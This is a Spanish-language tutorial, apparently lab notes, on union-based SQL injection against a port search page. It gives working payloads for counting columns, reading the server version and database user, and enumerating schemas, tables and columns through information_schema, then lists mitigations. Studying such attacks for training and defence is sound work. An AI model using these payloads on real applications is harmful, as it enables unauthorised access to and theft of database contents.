SQL Injection – UNION (Guía Práctica)

Info

Objetivo: usar una Union-based SQLi para mostrar datos arbitrarios en la página vulnerable. Pasos clave:

  1. Determinar el número de columnas de la consulta original.

  2. Identificar qué columnas se imprimen en la página.

  3. Construir un UNION SELECT con columnas “relleno” (junk) y colocar la función/columna deseada en la columna mostrada.


🚢 Primeros tactos

Tenemos una página que busca código de puerto y ciudad mediante:
search.php?port_code=

{1CA87CD4-49E1-4037-AEB5-06F06CC8AB4E}.png

Si ponemos

`

La aplicación devuelve error → es vulnerable a SQL Injection.
{38743C8A-286D-4566-AA65-CCFF031B3207}.png

🔢 Detectar número de columnas

Tip

Dos métodos comunes: ORDER BY y UNION SELECT. Usa cualquiera; ambos te dirán cuántas columnas espera la consulta original.

Método A — ORDER BY

Prueba incrementando el índice hasta provocar error:

' order by 1-- -
' order by 2-- -
' order by 3-- -
' order by 4-- -
' order by 5-- -

Cuando order by N produce error (“Unknown column 'N' in 'order clause'”), entonces el número total de columnas = N-1.

Método B — UNION SELECT

Prueba con UNION SELECT incrementando columnas hasta que deje de dar error:

cn' UNION select 1,2,3-- -
cn' UNION select 1,2,3,4-- -

La primera que retorna resultados sin error indica el número correcto de columnas (p. ej. 4).


👀 ¿Qué columnas se imprimen?

Tip

Aunque la consulta devuelva X columnas, la página puede mostrar solo algunas. Usa números como “junk” para identificar las columnas visibles.

Ejemplo de detección (tabla tiene 4 columnas; la página muestra columnas 2,3,4):

cn' UNION select 1,2,3,4-- -

{B6414DAF-6697-4769-AD44-F94B6889A801}.png
Si la salida visible en la página muestra 2, 3, 4 → la columna 1 no se imprime. Pon tu payload en una de las columnas impresas (p. ej. columna 2).


🧪 Prueba con datos reales (@@version)

Sustituye el número por @@version para comprobar lectura real:

cn' UNION select 1,@@version,3,4-- -

{0610EBE5-0C9B-4237-B5C7-28A64801A8A3}.png
Si en la página aparece la versión del servidor (ej. 10.3.22-MariaDB-...), la inyección funciona y puedes extraer valores arbitrarios.


🎯 Obtener user() con UNION

Sabiendo que la página muestra la columna 2 (por ejemplo) y la consulta tiene 4 columnas, payload:

cn' UNION select 1,user(),3,4-- -

La página imprimirá el resultado de user() en la posición de la columna visible (aquí columna 2).

Warning

Usa esto solo en entornos controlados o con autorización explícita.


🧭 Consejos prácticos y variantes

cn' UNION select NULL,user(),NULL,NULL-- -


🔎 Siguientes pasos para enumeración (opcional)

Si quieres seguir enumerando bases de datos/tablas/columnas:

' UNION select 1, (select schema_name from information_schema.schemata limit 0,1),3,4-- -

' UNION select 1, table_name,3,4 from information_schema.tables where table_schema='nombre_db' limit 0,1-- -

' UNION select 1, column_name,3,4 from information_schema.columns where table_name='nombre_tabla' limit 0,1-- -

(ajusta limit e índices para iterar y volcar toda la información).


Best-practice

Mitigaciones: prepared statements (consultas parametrizadas), validación/saneamiento estricto, ocultar errores SQL en producción y usar el principio de menor privilegio en la BD.